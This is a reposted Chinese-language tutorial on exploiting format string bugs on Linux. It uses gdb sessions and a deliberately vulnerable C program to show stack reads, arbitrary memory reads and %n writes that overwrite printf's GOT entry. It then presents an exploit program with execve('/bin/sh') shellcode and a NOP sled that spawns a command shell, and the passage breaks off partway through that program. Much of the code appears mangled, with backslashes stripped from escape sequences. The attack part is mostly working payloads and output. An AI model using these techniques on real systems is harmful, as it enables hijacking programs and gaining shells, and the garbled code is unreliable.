您的位置:首页 > 运维架构 > Linux

在Linux上利用Format String漏洞

2008-02-13 14:00 204 查看
» 网友学堂 » 网络技术 » 在Linux上利用Format String漏洞
在Linux上利用Format String漏洞
作者:ty 发表时间:2006-3-28 21:01 阅读:419次 在百度搜索相关内容

与缓冲区溢出漏洞相比,FormatString漏洞的历史就要短得多,而且实际的例子也少很多。比较著名的象Linux上的rpc.statd,还有wu-ftpd版本2.x,前一段时间我还想找这个2.x版本的wu-ftpd源程序来Exploit一下,找来找去没找到,估计作者把它藏起来了。

不过网上倒是有几篇介绍FormatString漏洞的文章值得一读,象Teamteso的"ExploitingFormatStringVulerabilities",还有Kalou/PascalBouchareine的"Formatstringvulnerability",这些文章的引用率应该很高,你们到Google上保证找得到。当然,我觉得我的这篇文章也不错,欢迎大家来看啦,只是有史以来很多人都喜欢读原著,象我大学时教政治的老师,他就经常说要读马列原著才行,翻译的都不灵光。

这一章我将在CalderaLinuxV2.2上演示FormatString的原理以及Exploit例子,不过我想其它Flavor的Linux也能试验这一章用到的程序。演示用的机器是claton----这是我美国梦开始的地方。

针对Linux操作系统或者Linux应用程序的Exploit多如牛毛,毕竟Linux是OpenSource的,各方豪杰都要围着它们显显身手、切磋武功----我也花了不少时间在Linux上操练(不好意思,自己称自己为豪杰)。

Anyway,新时代的口号:LongLiveOpenSource!!!!

关于FormatString漏洞的背景介绍之一:

按老规矩,在作Exploit之前,我们要先介绍一下FormatString的背景知识。请看下面的程序fordemo.c

<======================fordemo.c=========================>

main()
pb
charbuf[512]="";
chartmp[512]="helloworld";

memset(buf,'',512);
read(0,buf,512);

printf(tmp);
printf("%s%s",buf,tmp);
printf("%x==%x==%x==%x");

}

<========================================================>

fordemo连续三次调用格式输出函数printf:第一次与第二次都属正常,大家在编写程序时也经常如此这般地调用printf;但第三次调用却有些奇怪,为什么只有格式化符号%x?根据printf的语法要求,这次调用还需要另外四个输入参数,类似于下面的形式才对:
printf("%x==%x==%x==%x",forx1,forx2,forx3,forx4);
那么,当程序fordemo调用第三个printf时,它会如何反应呢?让我们深入到fordemo的汇编码中看看。

先编译程序fordemo.c,编译器并不认为第三个printf调用有语法错误。
[moda@clatonformat]$gccfordemo.c-ofordemo-g

用gdb运行fordemo:
[moda@clatonformat]$gdbfordemo
GNUgdb4.17.0.11withLinux/x86hardwarewatchpointandFPUsupport
Copyright1998FreeSoftwareFoundation,Inc.
GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouare
welcometochangeitand/ordistributecopiesofitundercertainconditions.
Type"showcopying"toseetheconditions.
ThereisabsolutelynowarrantyforGDB.Type"showwarranty"fordetails.
ThisGDBwasconfiguredas"i386-COL-linux"...
/*
先在函数printf入口设置断点
*/
(gdb)bprintf
Breakpoint1at0x80484f4
(gdb)r
Startingprogram:/home/moda/format/fordemo
Breakpoint1at0x40066c1c:fileprintf.c,line30.
hellobabby
/*
这里通过函数read输入字符串"hellobabby"给缓冲区buf
*/
Breakpoint1,printf(format=0xbffff8b8"helloworld")atprintf.c:30
/*
已经进入第一次printf函数调用----"printf(tmp)",然后在断点处停下。我们看看进程当前的callstack以及当前堆栈栈顶$ESP附近的内存内容:
*/
(gdb)bt
#0printf(format=0xbffff8b8"helloworld")atprintf.c:30
#10x80486a9inmain()atfordemo.c:10
#20x4003286fin__libc_start_main(main=0x8048608<main>,argc=1,
argv=0xbffffd04,init=0x8048470<_init>,fini=0x8049530<_fini>,
rtld_fini=0x4000ab70<_dl_fini>,stack_end=0xbffffcfc)
at../sysdeps/generic/libc-start.c:92
(gdb)x/20x$esp
0xbffff8a8:0x40102e9c0xbffffcb80x080486a90xbffff8b8
0xbffff8b8:0x6c6c65680x6f77206f0x0a646c720x00000000
0xbffff8c8:0x000000000x000000000x000000000x00000000
0xbffff8d8:0x000000000x000000000x000000000x00000000
0xbffff8e8:0x000000000x000000000x000000000x00000000
/*
观察一下callstack可以知道,0x080486a9是函数printf返回main的地址,它前面的0xbffffcb8应该是main的堆栈栈底($EBP)地址,而它后面的0xbffff8b8就是函数printf的输入参数,也就是指向缓冲区tmp的起始地址的指针。我们可以核实一下:
*/
(gdb)x/s0xbffff8b8
0xbffff8b8:"helloworld"
/*
上面这个"printf(tmp)"调用是最简单的情况,只需要一个字符串指针0xbffff8b8作为输入参数,而且这个指针参数是紧接在printf返回地址后面。

我顺便提醒一下(因为可能有人在打瞌睡):指针0xbffff8b8所指向的缓冲区tmp就紧跟在这个指针的后面。

下面继续执行,我们要看一下第二个printf调用时内存的内容。
*/
(gdb)c
Continuing.
helloworld

Breakpoint1,printf(format=0x8049562"%s%s")atprintf.c:30

/*
程序已经进入"printf("%s%s",buf,tmp);",现在停在断点处。我们看看进程当前的callstack以及当前堆栈栈顶$ESP附近的内存内容:
*/
(gdb)bt
#0printf(format=0x8049562"%s%s")atprintf.c:30
#10x80486c4inmain()atfordemo.c:11
#20x4003286fin__libc_start_main(main=0x8048608<main>,argc=1,
argv=0xbffffd04,init=0x8048470<_init>,fini=0x8049530<_fini>,
rtld_fini=0x4000ab70<_dl_fini>,stack_end=0xbffffcfc)
at../sysdeps/generic/libc-start.c:92
(gdb)x/20x$esp
0xbffff8a0:0x40102e9c0xbffffcb80x080486c40x08049562
0xbffff8b0:0xbffffab80xbffff8b80x6c6c65680x6f77206f
0xbffff8c0:0x0a646c720x000000000x000000000x00000000
0xbffff8d0:0x000000000x000000000x000000000x00000000
0xbffff8e0:0x000000000x000000000x000000000x00000000
/*
0xbffffcb8是函数main的堆栈栈底($EBP)地址,0x080486c4是printf返回main的地址,而紧跟在0x080486c4后面的应该是printf函数的输入参数。源程序中的printf有三个输入参数:"%s%s"、buf、tmp,它们分别对应着0x080486c4后面的0x08049562、0xbffffab8、0xbffff8b8。在printf最后作格式化输出时,0xbffffab8、0xbffff8b8所指向的字符串将替换格式化字符串"%s%s"中的两个%s。
*/
(gdb)x/s0x08049562
0x8049562<_IO_stdin_used+18>:"%s%s"
(gdb)x/s0xbffffab8
0xbffffab8:"hellobabby"
(gdb)x/s0xbffff8b8
0xbffff8b8:"helloworld"
/*
从上面的内存分配情况可以看出,当printf的输入参数中有格式化符号时,比如说"%s%s",系统会把实现(或者说替换)这些格式化符号的"真实的"参数或参数指针分配在格式化符号串的后面。这一点对于我们理解FormatString的漏洞很重要!的确很重要!

如果你还不理解这一点的重要性,请想象一下如果我们忘记提供替换"%s%s"的两个字符串(不管是有意还是无意),printf会这么处理??

这就是我们第三个printf调用"printf("%x==%x==%x==%x");"所要说明的!
*/
(gdb)c
Continuing.
hellobabby

helloworld

Breakpoint1,printf(format=0x8049568"%x==%x==%x==%x")atprintf.c:30
/*
现在程序已经进入"printf("%x==%x=
4000
=%x==%x")"。我们看看程序当前的callstack以及当前堆栈栈顶$ESP附近的内存内容:
*/
(gdb)bt
#0printf(format=0x8049568"%x==%x==%x==%x")atprintf.c:30
#10x80486d1inmain()atfordemo.c:12
#20x4003286fin__libc_start_main(main=0x8048608<main>,argc=1,
argv=0xbffffd04,init=0x8048470<_init>,fini=0x8049530<_fini>,
rtld_fini=0x4000ab70<_dl_fini>,stack_end=0xbffffcfc)
at../sysdeps/generic/libc-start.c:92
(gdb)x/20x$esp
0xbffff8a8:0x40102e9c0xbffffcb80x080486d10x08049568
0xbffff8b8:0x6c6c65680x6f77206f0x0a646c720x00000000
0xbffff8c8:0x000000000x000000000x000000000x00000000
0xbffff8d8:0x000000000x000000000x000000000x00000000
0xbffff8e8:0x000000000x000000000x000000000x00000000
(gdb)x/s0x08049568
0x8049568<_IO_stdin_used+24>:"%x==%x==%x==%x"
/*
0x080486d1是printf返回main的地址,且不管它。0x08049568指向格式化字符串"%x==%x==%x==%x",但是我们并没有提供替换四个格式化符号%x的参数,printf如何处理这种情况呢?它误以为紧跟在指针0x08049568后面的四个Hex码(每个Hex码为4Bytes)也是输入参数,并用这四个Hex码来替换符号%x输出。
*/
(gdb)c
Continuing.
6c6c6568==6f77206f==a646c72==0

Programexitedwithcode037.
(gdb)
(gdb)q
[moda@clatonformat]$

现在让我总结一下:"当使用格式化函数(比如printf,sprintf,fprintf等等)时,如果我们有意或无意让替换格式化符号的"真实"参数缺失,格式化函数会把跟在格式化符号串指针后面(但不一定是紧跟在后面)的堆栈内容输出。"----莫氏定理。

背景还没介绍完,请大家继续往下看!

关于FormatString漏洞的背景介绍之二:

前一段时间听说台湾省的美凤小姐被人用针孔像机偷窥了几下,我当时就想在虚拟世界里这个FormatString就是偷窥用的针孔像机,它可以满足黑客们与众不同的心态----偷窥程序的堆栈内容,偷窥被调用函数返回地址和调用函数堆栈栈底地址等系统管理信息。请看下面的例子forreal.c,这也是本章我要Exploit的Vulerable程序,我下面就要偷窥它的系统管理信息以及其它一些我们感兴趣的内容。

<===========================forreal.c===============================>

#include<stdio.h>
#defineIOSIZE512

main()
{
FILE*binFileH;
charbinFile[]="binFile";
chartmp1[IOSIZE];
chartmp2[IOSIZE];

memset(tmp1,'x00',IOSIZE);
memset(tmp2,'x00',IOSIZE);

if((binFileH=fopen(binFile,"rb"))==NULL)
{
printf("can'topenfile-cn");
exit();
}

//tmp1=getenv(buf);
fread(tmp1,sizeof(char),IOSIZE,binFileH);
printf("FinishReadinginFile");

makeeasy(tmp2,tmp1);

}

makeeasy(char*tmp2,char*tmp1)
{

charcrap[4]="XXXX";

sprintf(tmp2,tmp1);

printf("%s",tmp2);
}

=====================================================================

先创建一个文件binFile,我们往里面输入几个格式化字符:

[moda@clatonformat]$printf"AAAA%%x%%x%%x%%x%%x%%x">binFile

现在binFile中只有格式化符号,但却没有替换格式化符号的真实的参数。我们运行一下Vulerable程序看看可以"偷窥"到什么东西:

[moda@clatonformat]$forreal
FinishReadinginFile
AAAA58585858bffffce88048771bffff8dcbffffadc41414141
[moda@clatonformat]$

其中的58585858是crap矩阵变量"XXXX"的ascii码,bffffce8是main()函数寄存器ESP的内容,而8048771则是函数makeeasy的返回地址。大家猜一下bffff8dc与bffffadc是什么?它们是函数makeeasy的输入参数tmp2指针与tmp1指针。最后的41414141是"AAAA"的ascii码,为什么会是41414141呢?让我另起一段来详细说明一下:

当makeeasy调用函数sprintf(tmp2,tmp1)时,格式化符号串指针*tmp1后面的内存内容如下:

--符号串指针*tmp1--crap--main的ESP--makeeasy的RET--*tmp2--*tmp1--tmp2矩阵--

根据莫氏定理:"如果我们有意或无意让替换格式化符号的'真实'参数缺失,格式化函数会把跟在格式化符号串指针后面(但不一定是紧跟在后面)的堆栈内容输出",因此格式化符号们"%x%x%x%x%x%x"依次把从crap开始的内容一个一个地输出,一直到第六个格式化符号%x,它对应着矩阵tmp2的起始4个字节----sprintf函数这时已经往里面放了"AAAA"的ascii码,所以第六个%x就把这些ascii码输出。我们的针孔像机果然看到了许多不该看到的东西吧!

在介绍针孔像机的另一个功能之前,我要问大家一个问题,如何得到程序运行时内存的内容?换句话问,"任意"给你一个内存地址("任意"是指程序运行权限之内的任意地址),你能得到它的内容吗?

就象在Solaris系统中的truss一样,在linux上我们可以用ltrace或者strace跟踪某些程序变量的内存地址以及其它一些有限的内容,请看下面的演示:

[moda@clatonformat]$echo"ZZZZZZZZ">binFile
[moda@clatonformat]$
[moda@clatonformat]$ltraceforreal
__libc_start_main(0x080486c0,1,0xbffffcf4,0x080484f0,0x08049600<unfinished
...>
memset(0xbffffa9c,'00',512)=0xbffffa9c
memset(0xbffff89c,'00',512)=0xbffff89c
fopen("binFile","rb")=0x0804a798
fread(0xbffffa9c,1,512,0x0804a798)=9
printf("FinishReadinginFile"FinishReadinginFile
)=23
sprintf("ZZZZZZZZ□cn","ZZZZZZZZ")=9
printf("%s","ZZZZZZZZ"ZZZZZZZZ

)=10
+++exited(status10)+++

上面黑体显示的就是一些内存变量在程序运行时的地址及内容。不过这些信息也太有限了,而且在大多数情况下,你还没有足够的权限用ltrace(或strace)去跟踪程序的运行呢!这与我们要求的"任意"这个最高境界还差着十万八千里的距离。

如果你没有孙悟空翻筋斗的功夫,那还是跟着我学习针孔像机的另一个功能:偷窥内存"任意"地址的内容。请看下面的演示:

先创建一个文件binFile,往里面加格式化字符串:
moda@clatonformat]$printf"ABCDxccxf8xffxbf%%x%%x%%x%%x%%x%%xBBBB%%s">binFile
[moda@clatonformat]$

接着运行forreal:

[moda@clatonformat]$forreal
FinishReadinginFile
ABCD旭+58585858bffffce88048771bffff8dcbffffadc44434241BBBBFn+q□□+_□+ABCD旭8585858bffffce88048771bffff8dcbffffadc44434241BBBB
[moda@clatonformat]$

forreal输出了一堆乱七八糟的东西,不过仔细看看输出的结果,我们还是认识其中的大部分的:ABCD、58585858("XXXX"的ascii码)、bffffce8(main函数的ESP),0x8048771(makeeasy的RET)、bffff8dc与bffffadc(makeeasy的输入参数)、44434241(对应着"ABCD")、BBBB。其它的字节则不能正常输出(不过南极星程序可能把它们当成Unicode输出了),其中跟在ABCD后面的应该是字节"xccPcxf8xffxb"、跟在BBBB后面的是什么呢?让我们把结果再以Hex码显示一下,我特别把不能正常显示的字节用大几号的黑体标出来:

[moda@clatonformat]$
[moda@clatonformat]$forreal│hexdump
00000006946696e6873522061656964676e6920//FinishReading...
0000010206e6946656c410a4342cc44fff835bf//inFileABCD5
000002035383538353862386666666665633838//8585858bffffce88
000003034303738313766626666386663646662//048771bffff8dcbf
000004066666166636434343334323431344242//fffadc44434241BB
00000504242fce8bfff87710804f8dcbffffadc//BB
0000060bfff42414443f8ccbfff383538353835
000007038356662666663663865303838343737
000008062316666666664386263666666666461
00000903463343434333432423142420a42
000009e

跟在ABCD后面的黑体字确是字节0xbffff8cc,而跟在BBBB后面的长字串黑体字是
"bffffce88048771bffff8dc。。。。。。"----这重复了0x58585858后面的内容。为什么会是这样的结果呢?如果你已经知道原因的话,请先飞到下一节吧!(聪明的是不会轻易先飞的,因为怕别人说他是笨鸟!)。

我们回顾一下格式化符号串指针附近的内存内容:

---符号串指针*tmp1--crap--main函数的ESP--makeeasy函数的RET--*tmp2--*tmp1--tmp2矩阵(44434241--bffff8cc--.......)

在传给sprintf的格式化字符串"ABCDxccxf8xffxbf%%x%%x%%x%%x%%x%%xBBBB%%s"中有六个%x,sprintf把它们依次以下面的内容替换:crap(0x58585858)、main的ESP(0xbffffce8)、makeeasy的RET(0x8048771)、tmp2矩阵指针(0xbffff8dc)、tmp1矩阵指针(0xbffffadc)、ABCD的ascii码(0x44434241)。再下一个格式化符号是BBBB后面的"%s",它由什么来替换呢?很显然它将由排在0x44434241后面的四个字节替换,这四个字节中已经放入我们输入"xccxf8xffxbf"。但是、但是。。。现在替换的规则变了:sprintf或其它的格式化函数在替换"%s"时,它们需要的是字符串指针,於是"xccxf8xffxbf"就被当作字符串指针,这样替换的结果就是sprintf函数把这个指针指向的内容输出,我们也就得到了从地址0xbffff8cc开始的内存内容,也就是"bffffce88048771bffff8dc。。。。。。"!依此类推,你若想知道其它任意地址Any_Address的内容,只要把地址0xbffff8cc换成Any_Address即可。

好了,现在应该介绍FormatString的最后、也是最重要的功能:如何巧妙设计FormatString,然后利用格式化函数往内存中写东西。我要让大家看看,我们的"针孔像机"不光可以看东西,还可以动手动脚哩!而这个手和脚就是格式化符号"%n",当格式化函数遇到"%n"时,它会将已经输出的字节总数写入"%n"对应的替换地址中。在下面的例子中,我要利用"%n"来修改printf函数的GlobalOffsetTableEntry。(如果你不太清楚Linux系统中GlobalOffsetTable的概念,请"GOTO下一节----关于Linux操作系统中的GlobalOffsetTable:",不过千万要记得看完以后再返回到这里。)

先看看程序forreal中的各个输入函数的GOTEntry地址,我把printf函数的Entry用大号黑体标出来,方便象我一样的近似眼们看清楚。

[moda@clatonformat]$
[moda@clatonformat]$objdump-Rforreal

forreal:fileformatelf32-i386

DYNAMICRELOCATIONRECORDS
OFFSETTYPEVALUE
0804a6ccR_386_GLOB_DAT__gmon_start__
0804a698R_386_JUMP_SLOTmalloc
0804a69cR_386_JUMP_SLOTfread
0804a6a0R_386_JUMP_SLOTabort
0804a6a4R_386_JUMP_SLOT__deregister_frame_info
0804a6a8R_386_JUMP_SLOT__libc_start_main
0804a6acR_386_JUMP_SLOTprintf
0804a6b0R_386_JUMP_SLOTexit
0804a6b4R_386_JUMP_SLOTfree
0804a6b8R_386_JUMP_SLOTmemset
0804a6bcR_386_JUMP_SLOTfopen
0804a6c0R_386_JUMP_SLOTsprintf
0804a6c4R_386_JUMP_SLOT__register_frame_info_table
0804a6c8R_386_JUMP_SLOT__register_frame_info

printf函数的GOTEntry是在地址0x0804a6ac,我们依据这个地址创造如下一个格式化字符串:

[moda@clatonformat]$printf"ABCDxacxa6x04x08%%x%%x%%x%%x%%x%%xBBBB%%n">binFile

注意这个格式化字符串的结尾是"%n"。让我们运行程序一下forreal看看有什么结果:

[moda@clatonformat]$forreal
FinishReadinginFile
Segmentationfault(coredumped)

程序在输出"FinishReadinginFile"以后垮掉了。我们用gdb来分析一下黑匣子文件core:

[moda@clatonformat]$gdbforrealcore
GNUgdb4.17.0.11withLinux/x86hardwarewatchpointandFPUsupport
Copyright1998FreeSoftwareFoundation,Inc.
GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouare
welcometochangeitand/ordistributecopiesofitundercertainconditions.
Type"showcopying"toseetheconditions.
ThereisabsolutelynowarrantyforGDB.Type"showwarranty"fordetails.
ThisGDBwasconfiguredas"i386-COL-linux"...
Corewasgeneratedby`forreal'.
Programterminatedwithsignal11,Segmentationfault.
Readingsymbolsfrom/usr/i386-linuxglibc2/lib/libc.so.6...done.
Readingsymbolsfrom/lib/ld-linux.so.2...done.
#00x41in??()
(gdb)bt//列出CallStack
#00x41in??()
#10x8048771inmain()atforreal.c:25//第25行调用makeeasy()函数
#20x4003286fin__libc_start_main(main=0x80486c0<main>,argc=1,
argv=0xbffffd34,init=0x80484f0<_init>,fini=0x8049600<_fini>,
rtld_fini=0x4000ab70<_dl_fini>,stack_end=0xbffffd2c)
at../sysdeps/generic/libc-start.c:92
(gdb)

forreal程序的第25行是调用makeeasy()函数,然后从这里企图调用位于地址0x41的指令。这个地址0x41是不可访问的,所以系统终止forreal进程的运行,并报Segmentationfault错误。

我们再用gdb来跟踪forreal程序的运行,可以看看它是如何一步一步地滑向深渊的:

[moda@clatonformat]$gdbforreal
GNUgdb4.17.0.11withLinux/x86hardwarewatchpointandFPUsupport
Copyright1998FreeSoftwareFoundation,Inc.
GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouare
welcometochangeitand/ordistributecopiesofitundercertainconditions.
Type"showcopying"toseetheconditions.
ThereisabsolutelynowarrantyforGDB.Type"showwarranty"fordetails.
ThisGDBwasconfiguredas"i386-COL-linux"...
(gdb)bsprintf//在sprintf函数入口设断点
Breakpoint1at0x80485d4
(gdb)b37//在第37行设断点
Breakpoint2at0x8048796:fileforreal.c,line37.
(gdb)r//开始运行程序
Startingprogram:/home/moda/format/forreal
Breakpoint1at0x40066c70:filesprintf.c,line37.
FinishReadinginFile

Breakpoint1,sprintf(s=0xbffff8ac"",
format=0xbffffaac"ABCD惮04%x%x%x%x%x%xBBBB%n")atsprintf.c:37
/*
程序在进入函数sprintf后中断,我们看看当前ESP附近的内存内容:
*/
(gdb)x/20x$esp
0xbffff884:0x40102e9c0xbffff89c0x080487930xbffff8ac
0xbffff894:0xbffffaac0x585858580xbffffcb80x08048771
0xbffff8a4:0xbffff8ac0xbffffaac0x000000000x00000000
0xbffff8b4:0x000000000x000000000x000000000x00000000
0xbffff8c4:0x000000000x000000000x000000000x00000000
(gdb)x/s0xbffffaac
0xbffffaac:"ABCD惮04%x%x%x%x%x%xBBBB%n"
/*
地址0xbffff89c是makeeasy函数的堆栈栈底地址,而0x08048793则是sprintf返回makeeasy的地址。0xbffff8ac与0xbffffaac是sprintf函数的输入参数,其中0xbffffaac指向的缓冲区已经填入了我们通过binFile输入的格式化字符串。

我们看看位于地址0x0804a6ac的printf函数的GOTentry内容:
*/
(gdb)x/4x0x0804a6ac
0x804a6ac<_GLOBAL_OFFSET_TABLE_+32>:
0x40066c0c0x0804859a0x080485aa0x400782c0
/*
对於Linux操作系统来说,某个函数的GOTentry是指向该函数起始地址的指针。所以地址0x0804a6ac中的0x40066c0c应该是printf函数的起始地址。不相信的话,请往看下面:
*/
(gdb)x/5i0x40066c0c
0x40066c0c<printf>:pushl%ebp
0x40066c0d<printf+1>:movl%esp,%ebp
0x40066c0f<printf+3>:pushl%ebx
0x40066c10<printf+4>:call0x40066c15<printf+9>
0x40066c15<printf+9>:popl%ebx
/*
继续执行
*/
(gdb)c
Continuing.

Breakpoint2,makeeasy(
tmp2=0xbffff8ac"ABCD惮0458585858bffffcb88048771bffff8acbffffaac44434241BBBB",tmp1=0xbffffaac"ABCD惮04Pcb%x%x%x%x%x%xBBBB%n")
atforreal.c:37
37printf("%s",tmp2);
/*
程序中断在第37行,准备用printf输出tmp2的内容。

在这时候,sprintf函数已经把格式化字符串替换完,替换的结果填入从0xbffff8ac开始的缓冲区中。但是唯一的例外是格式化符号"%n"的替换,对应着这个"%n"的是地址0x0804a6ac,就是printf函数的GOTEntry。在替换时,sprintf函数把当前已经输出的字节总数(0x41)写入这个地址中。

让我们检查一下地址0x0804a6ac的内容:
*/
(gdb)x/4x0x0804a6ac
0x804a6ac<_GLOBAL_OFFSET_TABLE_+32>:
0x000000410x0804859a0x080485aa0x400782c0
/*
作为函数
d29f
printf的GOTEntry,这个地址0x0804a6ac中应该是指向printf起始地址的指针。现在这个指针被修改成了0x41,那么后面调用printf函数时进程就跳到地址0x41去执行,执行的结果当然是灾难性的Segmentationfault.
*/
(gdb)c
Continuing.

ProgramreceivedsignalSIGSEGV,Segmentationfault.
0x41in??()

上面的格式化字符串"ABCDxacxa6x04x08%%x%%x%%x%%x%%x%%xBBBB%%n"仅仅往地址0x0804a6ac中写入一个很小的数0x41。如果我们要往这个地址写入一个很大的数值,比如说黑客码地址,应该如何构造格式化字符串呢?请大家研究下面的例子,我就不在旁边罗唆了。

[moda@clatonformat]$printf"ABCDxacxa6x04x08xadPcxa6x04x08xaexa6x04x08xafxa6x04x08%%x%%x%%x%%x%%x%%xBBBB%%nCCCC%%nDDDD%%nEEEE%%n">binFile
[moda@clatonformat]$
[moda@clatonformat]$forreal
FinishReadinginFile
Segmentationfault(coredumped)
[moda@clatonformat]$gdbforrealcore
GNUgdb4.17.0.11withLinux/x86hardwarewatchpointandFPUsupport
Copyright1998FreeSoftwareFoundation,Inc.
GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouare
welcometochangeitand/ordistributecopiesofitundercertainconditions.
Type"showcopying"toseetheconditions.
ThereisabsolutelynowarrantyforGDB.Type"showwarranty"fordetails.
ThisGDBwasconfiguredas"i386-COL-linux"...
Corewasgeneratedby`forreal'.
Programterminatedwithsignal11,Segmentationfault.
Readingsymbolsfrom/usr/i386-linuxglibc2/lib/libc.so.6...done.
Readingsymbolsfrom/lib/ld-linux.so.2...done.
#00x5955514din??()
(gdb)x/4x0x0804a6ac
0x804a6ac<_GLOBAL_OFFSET_TABLE_+32>:0x5955514d0x080000000x080485
aa0x400782c0
(gdb)q
[moda@clatonformat]$

关于Linux操作系统中的GlobalOffsetTable:

在第四章里面我曾经提到SymbolResolution的概念,就是说当程序要使用其它目标文件或目标文件库中的函数时,它要先知道这些函数的起始地址(当然我们假设该目标文件已经被载入程序内存空间)。至于它是通过何种途径解析这些起始地址的,已经有很多文章提及,我们且不管它。这里我主要说说在Linux中的程序获得起始地址以后,把这些地址保存在何处。

在Linux系统中,我们可以使用命令"objdump-R程序X"来了解程序X需要解析哪些输入函数的地址,比如说对於我们的Vulerable程序forreal:

[moda@clatonformat]$objdump-Rforreal

forreal:fileformatelf32-i386

DYNAMICRELOCATIONRECORDS
OFFSETTYPEVALUE
0804a6ccR_386_GLOB_DAT__gmon_start__
0804a698R_386_JUMP_SLOTmalloc
0804a69cR_386_JUMP_SLOTfread
0804a6a0R_386_JUMP_SLOTabort
0804a6a4R_386_JUMP_SLOT__deregister_frame_info
0804a6a8R_386_JUMP_SLOT__libc_start_main
0804a6acR_386_JUMP_SLOTprintf
0804a6b0R_386_JUMP_SLOTexit
0804a6b4R_386_JUMP_SLOTfree
0804a6b8R_386_JUMP_SLOTmemset
0804a6bcR_386_JUMP_SLOTfopen
0804a6c0R_386_JUMP_SLOTsprintf
0804a6c4R_386_JUMP_SLOT__register_frame_info_table
0804a6c8R_386_JUMP_SLOT__register_frame_info

它要从外面的目标文件库输入malloc、fread、abort、printf、sprintf等等函数,当这些输入函数第一次被调用时,forreal会利用动态联结器解析出它的起始地址。请注意最左边的一列,这些以0x0804开始的地址位于程序forreal的GlobalOffsetTable中,输入函数被解析出来的地址就保存在这里。我们把这个0x0804XXXX地址叫做函数的GOTEntry。当程序再一次调用同一函数时,它将直接从该函数的GOTEntry中读取该函数的起始地址,然后跳到那里执行。

我们以forreal程序对函数printf的调用为例,看看它的GOTEntry在调用前后的变化:

[root@clatonformat]#gdbforreal
GNUgdb4.17.0.11withLinux/x86hardwarewatchpointandFPUsupport
Copyright1998FreeSoftwareFoundation,Inc.
GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouare
welcometochangeitand/ordistributecopiesofitundercertainconditions.
Type"showcopying"toseetheconditions.
ThereisabsolutelynowarrantyforGDB.Type"showwarranty"fordetails.
ThisGDBwasconfiguredas"i386-COL-linux"...
(gdb)b23//中断于"fread(tmp1,sizeof(char),IOSIZE,binFileH);"
Breakpoint1at0x8048751:fileforreal.c,line23.
(gdb)b24//中断于"printf("FinishReadinginFile");"
Breakpoint2at0x804875e:fileforreal.c,line24.
(gdb)r
Startingprogram:/home/moda/format/forreal

Breakpoint1,main()atforreal.c:23
23printf("FinishReadinginFile");
/*
现在程序尚未调用函数printf,注意它的GOTEntry:
*/
(gdb)x/4x0x0804a6ac
0x804a6ac<_GLOBAL_OFFSET_TABLE_+32>:
0x0804858a0x0804859a0x080485aa0x400782c0
(gdb)c
Continuing.
FinishReadinginFile
Breakpoint2,main()atforreal.c:25
25makeeasy(tmp2,tmp1);
/*
程序已经结束printf函数调用,printf函数的起始地址应该被存进GOTEntry中:
*/
(gdb)x/4x0x0804a6ac
0x804a6ac<_GLOBAL_OFFSET_TABLE_+32>:
0x40066c0c0x0804859a0x080485aa0x400782c0
(gdb)x/5i0x40066c0c//0x40066c0c为printf函数的入口地址:
0x40066c0c<printf>:pushl%ebp
0x40066c0d<printf+1>:movl%esp,%ebp
0x40066c0f<printf+3>:pushl%ebx
0x40066c10<printf+4>:call0x40066c15<printf+9>
0x40066c15<printf+9>:popl%ebx
(gdb)
(。。。。以下略。。。。)

由于在Linux中的GOTEntry保存着函数的起始地址,一个被黑客们广泛使用的Exploit方法就是修改函数的GOTEntry:让修改后的Entry指向黑客码,这样当程序企图再次调用这个函数时,它就会执行我们的黑客指令。这也就是我在本章所要使用的方法!!!!
对FormatString漏洞的Exploit:

我们这一章的Exploit将充分利用FormatString的各种功能,修改程序forreal中printf函数的GOTEntry,让它指向我们的黑客码,这样当forreal调用printf函数时,它将转向执行黑客码而产生一个CommandShell。

要实现这个Exploit,我们需要:

1。
printf函数的GOTEntry,这个我们已经用"objdump-R"得到了,是0x0804a6ac。

2。
我们的黑客码地址,修改后的GOTEntry将指向这里。记得我们前面用过这样的格式化符号串:
[moda@clatonformat]$printf"AAAA%%x%%x%%x%%x%%x%%x%%x">binFile
[moda@clatonformat]$forreal
FinishReadinginFile
AAAA58585858bffffce88048771bffff8dcbffffadc4141414135383520
[moda@clatonformat]$

地址bffffadc是tmp2缓冲区的起始地址,我们的黑客码将藏在里面、跟在三四百个0x90后面,所以我不妨用地址0xbffffba0作为黑客码起始地址。

也许你会说:"你怎么能知道bffffadc是tmp2缓冲区的起始地址呢?你刚才是用了gdb才能确实这个地址的,实际作Exploit时你不可能有如此奢侈的条件"。

我确实做了弊,操了近路,我有罪!!不过还记得FormatString可以偷窥任意地址的内容吗?你们不妨试着用这个功能去找黑客码起始地址。包你成功,只是麻烦一点。

3。
修改GOTEntry的工具,就是"%n"符号。

4。
好象没有什么了。

好,请各位研究一下下面的Exploit程序,我已经加了注解:

<=============================exforreal==============================>

#include<stdio.h>

voidmain()
{

charegg[]="x31xc0x50"//ThispieceofcodeisfromLSD_PL
"x68""//sh"
"x68""/bin"
"x89xe3x50x53x89xe1
'5cx99xb0x0bxcdx80";
chargotAddr[16]=
"xacxa6x04x08"
"xadxa6x04x08"
"xaexa6x04x08"
"xafxa6x04x08";
charglue[16]="xebx02%n";
charbuf[255];
charxx[32];
inti;

FILE*binFileH;
charbinFile[]="binFile";

if((binFileH=fopen(binFile,"wb"))==NULL)
{
printf("can'topenfile-cn");
exit();
}

memset(buf,0,255);

/*
把printf函数GOTEntry的四个字节地址写入,也就是0x0804a6ac、0x0804a6ad、0x0804a6ae、0x0804a6af。我们要分别修改这四个地址的内容。
*/
fwrite(gotAddr,sizeof(char),16,binFileH);

/*
记得格式化符号串指针后面的内存内容吗?它们是:
--crap--main的ESP--makeeasy的RET--*tmp2--*tmp1--tmp2矩阵(以GOTEntry地址开始)

我们要利用5个格式化符号"%x"跳过格式化符号串指针后面的5X4=20个字节的内容,依次是:crap里面的51515151、main的ESP(0xbffffce8)、makeeasy的RET(0x8048771)、*tmp2(0xbffff8dc)、*tmp1(0xbffffadc)。这样GOTEntry的地址将与%n符号对应,sprintf函数将修改GOTEntry地址。
*/
for(i=0;i<10;i+=2){
strcpy(&xx,"%x");
}
fwrite(xx,sizeof(char),strlen(xx),binFileH);

/*
在地址0x0804a6ac中写入0xa0
*/
memset(buf,'x90',0xa0-16-40-1);
fwrite(buf,sizeof(char),strlen(buf),binFileH);
fwrite(glue,sizeof(char),strlen(glue),binFileH);
memset(buf,0,255);

/*
